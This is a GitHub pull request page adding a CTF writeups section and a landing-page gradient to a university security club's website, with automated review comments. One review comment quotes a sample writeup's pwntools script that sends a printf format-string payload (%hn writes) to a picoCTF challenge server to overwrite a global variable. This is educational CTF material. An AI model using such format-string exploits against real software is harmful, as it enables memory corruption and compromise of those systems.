Skip to content

feat: writeups feature + landing page matrix transition#18

Open
bparchinski wants to merge 3 commits intoHackUCF:mainfrom
bparchinski:feature/writeups-and-transition
Open

feat: writeups feature + landing page matrix transition#18
bparchinski wants to merge 3 commits intoHackUCF:mainfrom
bparchinski:feature/writeups-and-transition

Conversation

@bparchinski
Copy link
Contributor

Changes

Writeups Feature

  • Full CTF writeup system with MDX content support
  • Routes: /writeups, /writeups/:slug, /writeups/category/:category, /writeups/tag/:tag
  • Search + filter by category/tag with debounced input
  • Individual writeup pages with table of contents sidebar, syntax highlighting, prev/next navigation
  • SEO meta tags on all routes + sitemap integration
  • 3 sample writeups included (printf vulnerability, heap exploitation parts 2 & 3)
  • Updated nav link from external writeups site to internal /writeups

Landing Page Transition

  • Added smooth CSS gradient fade between the matrix rain canvas and the black content section below
  • Multi-stop gradient: transparent → 40% black → 75% black → solid black
  • Pure CSS, no JS overhead, pointer-events-none so interactions aren't blocked

Accessibility Fixes

  • Single <h1> on landing page (was duplicate)
  • aria-label added to search input, table of contents nav, and prev/next nav
  • Debounce timer cleanup on unmount in WriteupSearch

Code Quality

  • Prettier formatted all new/modified files
  • Extracted shared difficultyColours to app/lib/writeups.ts (was duplicated)
  • Removed unused imports

bparchinski and others added 3 commits February 25, 2026 00:45
Includes MDX-powered writeup pages with categories, tags, difficulty
badges, table of contents, prev/next navigation, and full-text search.
Cleaned up duplicated difficultyColours constants and unused imports.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Matrix wall now dissolves smoothly into the black background below
via a multi-stop gradient overlay instead of a hard cut.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
- format writeup components, routes, lib, types
- fix a11y: single h1 on landing, aria-labels on search/TOC/nav
- add debounce cleanup in WriteupSearch
Copy link
Member

@jontyms jontyms left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM

Copy link

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR implements a comprehensive CTF writeups feature with MDX content support, alongside landing page improvements and accessibility fixes. The writeups system includes filtering by category/tag, search functionality, table of contents navigation, and SEO optimization. The changes are well-structured and follow established codebase patterns.

Changes:

  • Full writeups feature with MDX support, search/filter capabilities, and SEO meta tags across all routes
  • Landing page visual enhancement with a CSS gradient transition from the matrix rain canvas to content section
  • Accessibility improvements: single h1 on landing page, aria-labels for navigation and search components

Reviewed changes

Copilot reviewed 23 out of 26 changed files in this pull request and generated 7 comments.

Show a summary per file
File Description
vite.config.ts Added MDX plugin configuration with remark/rehype plugins for syntax highlighting and frontmatter
tailwind.config.cjs Extended content paths to include MDX files
package.json Added MDX and syntax highlighting dependencies
app/types/mdx.d.ts TypeScript declarations for MDX module imports
app/lib/writeups.ts Core library for writeup data fetching, filtering, and search functionality
app/routes/writeups._index.tsx Main writeups listing page with search and filter UI
app/routes/writeups.$slug.tsx Individual writeup page with TOC sidebar and prev/next navigation
app/routes/writeups.category.$category.tsx Category filter route
app/routes/writeups.tag.$tag.tsx Tag filter route
app/routes/sitemap[.]xml.tsx Extended sitemap to include writeup pages
app/routes/_index.tsx Landing page h1 fix and gradient overlay addition
app/components/writeups/* Complete suite of writeup-related components (card, filters, search, TOC, nav, metadata, content)
app/components/ui/badge.tsx New badge component for tags and categories
app/components/header.tsx Updated writeups link from external to internal route
app/globals.css Syntax highlighting styles for code blocks
app/content/writeups/*.mdx Three sample writeups covering CTF binary exploitation challenges

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment on lines +70 to +95
export function getWriteupsByCategory(category: string): WriteupMeta[] {
return getAllWriteups().filter((w) =>
w.categories.some((c) => c.toLowerCase() === category.toLowerCase()),
);
}

export function getWriteupsByTag(tag: string): WriteupMeta[] {
return getAllWriteups().filter((w) =>
w.tags.some((t) => t.toLowerCase() === tag.toLowerCase()),
);
}

export function getAllCategories(): string[] {
const cats = new Set<string>();
for (const w of getAllWriteups()) {
for (const c of w.categories) cats.add(c);
}
return Array.from(cats).sort();
}

export function getAllTags(): string[] {
const tags = new Set<string>();
for (const w of getAllWriteups()) {
for (const t of w.tags) tags.add(t);
}
return Array.from(tags).sort();
Copy link

Copilot AI Feb 25, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The functions getWriteupsByCategory, getWriteupsByTag, getAllCategories, and getAllTags all call getAllWriteups() which re-computes and re-sorts the full list of writeups every time. Consider memoizing or caching getAllWriteups() if these functions are called multiple times during a single page render, especially as the number of writeups grows. This could impact performance.

Copilot uses AI. Check for mistakes.
Comment on lines +27 to +28
const allRoutes = [...routes, ...writeupRoutes];

Copy link

Copilot AI Feb 25, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The sitemap includes individual writeup pages but doesn't include the category and tag filter routes (e.g., /writeups/category/CTF, /writeups/tag/Binary%20Exploitation). Consider whether these should be included for better SEO coverage, as they are valid, indexable pages.

Suggested change
const allRoutes = [...routes, ...writeupRoutes];
const categories = Array.from(
new Set(
writeups
.map((w) => w.category)
.filter((category): category is string => typeof category === "string" && category.length > 0),
),
);
const tags = Array.from(
new Set(
writeups
.flatMap((w) => (Array.isArray(w.tags) ? w.tags : []))
.filter((tag): tag is string => typeof tag === "string" && tag.length > 0),
),
);
const categoryRoutes = categories.map(
(category) => `writeups/category/${encodeURIComponent(category)}`,
);
const tagRoutes = tags.map(
(tag) => `writeups/tag/${encodeURIComponent(tag)}`,
);
const allRoutes = [...routes, ...writeupRoutes, ...categoryRoutes, ...tagRoutes];

Copilot uses AI. Check for mistakes.
Comment on lines +19 to +71
```python
from pwn import*

'''
second 2 bytes first 2 bytes
[ 67 61 ] [6c 66]
ok so we split it into 2 sections of two bytes each.
Now we're going to show the representation of each of these numbers in decimal since that's how we write using %n.
6761 = 26465
6c66 = 27750
'''

# 27750 - 26465 = 1285 bytes left to write

address_of_sus_global_var = 0x404060
little_endian_second_two_bytes = p64( address_of_sus_global_var + 2 )
little_endian_base_first_two_bytes = p64( address_of_sus_global_var )

# (14) (15) (16) (17) (18) (19)
payload = b"%026465x" + b"%0018$hn" + b"%001285x" + b"%0019$hn" + little_endian_second_two_bytes + little_endian_base_first_two_bytes

# setup the connection
HOST = "rhea.picoctf.net"
PORT = 52318
pipe = remote( HOST, PORT )
pipe.sendline(payload)
pipe.interactive()

# FLAG: picoCTF{f0rm47_57r?_f0rm47_m3m_5161a699}


'''

int sus = 0x21737573;

int main() {
char buf[1024];
char flag[64];


- The sus variable is stored in smt known as the data segment because it is not in the main() function,
Anthony said that we need to look at PIE (since it is not enabled this will help us).

********
- Moreover, our data is stored in the stack, we need to use %n, but how will
we write to sus if out input is in the stack?
- apparantely %n does not just write to stack but a specific
place in memory relatively to characters printed or smt.
so global variables are stored in a fix position if PIE is not enabled, that's a good start.


'''
```
Copy link

Copilot AI Feb 25, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The code block is labeled as Python but contains a comment section with C code. This is misleading and inconsistent. The Python code should be in its own code block, and if C code needs to be shown, it should be in a separate C code block.

Copilot uses AI. Check for mistakes.
Comment on lines +59 to +67
- The sus variable is stored in smt known as the data segment because it is not in the main() function,
Anthony said that we need to look at PIE (since it is not enabled this will help us).

********
- Moreover, our data is stored in the stack, we need to use %n, but how will
we write to sus if out input is in the stack?
- apparantely %n does not just write to stack but a specific
place in memory relatively to characters printed or smt.
so global variables are stored in a fix position if PIE is not enabled, that's a good start.
Copy link

Copilot AI Feb 25, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Several typos found in comments: "smt" should be "something", "out input" should be "our input", "apparantely" should be "apparently", and "fix position" should be "fixed position".

Suggested change
- The sus variable is stored in smt known as the data segment because it is not in the main() function,
Anthony said that we need to look at PIE (since it is not enabled this will help us).
********
- Moreover, our data is stored in the stack, we need to use %n, but how will
we write to sus if out input is in the stack?
- apparantely %n does not just write to stack but a specific
place in memory relatively to characters printed or smt.
so global variables are stored in a fix position if PIE is not enabled, that's a good start.
- The sus variable is stored in something known as the data segment because it is not in the main() function,
Anthony said that we need to look at PIE (since it is not enabled this will help us).
********
- Moreover, our data is stored in the stack, we need to use %n, but how will
we write to sus if our input is in the stack?
- apparently %n does not just write to stack but a specific
place in memory relatively to characters printed or something.
so global variables are stored in a fixed position if PIE is not enabled, that's a good start.

Copilot uses AI. Check for mistakes.
The code for your convenience:

```python
from pwn import*
Copy link

Copilot AI Feb 25, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Spacing issue after import statement: from pwn import* should be from pwn import * with a space before the asterisk.

Suggested change
from pwn import*
from pwn import *

Copilot uses AI. Check for mistakes.
rehypePlugins: [
rehypeSlug,
[rehypeAutolinkHeadings, { behavior: "wrap" }],
[rehypePrettyCode, { theme: "one-dark-pro" }] as any,
Copy link

Copilot AI Feb 25, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The as any type assertion is a code smell that bypasses TypeScript's type checking. Consider using proper typing or documenting why this assertion is necessary. If this is due to a known type incompatibility with the plugin types, add a comment explaining it.

Copilot uses AI. Check for mistakes.
Comment on lines +122 to +126

export function getReadingTime(content: string): number {
const words = content.split(/\s+/).length;
return Math.max(1, Math.ceil(words / 200));
}
Copy link

Copilot AI Feb 25, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The getReadingTime function is exported but never used anywhere in the codebase. Consider removing it to reduce code clutter, or implement it in the writeup display components if reading time estimation is a desired feature.

Suggested change
export function getReadingTime(content: string): number {
const words = content.split(/\s+/).length;
return Math.max(1, Math.ceil(words / 200));
}

Copilot uses AI. Check for mistakes.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants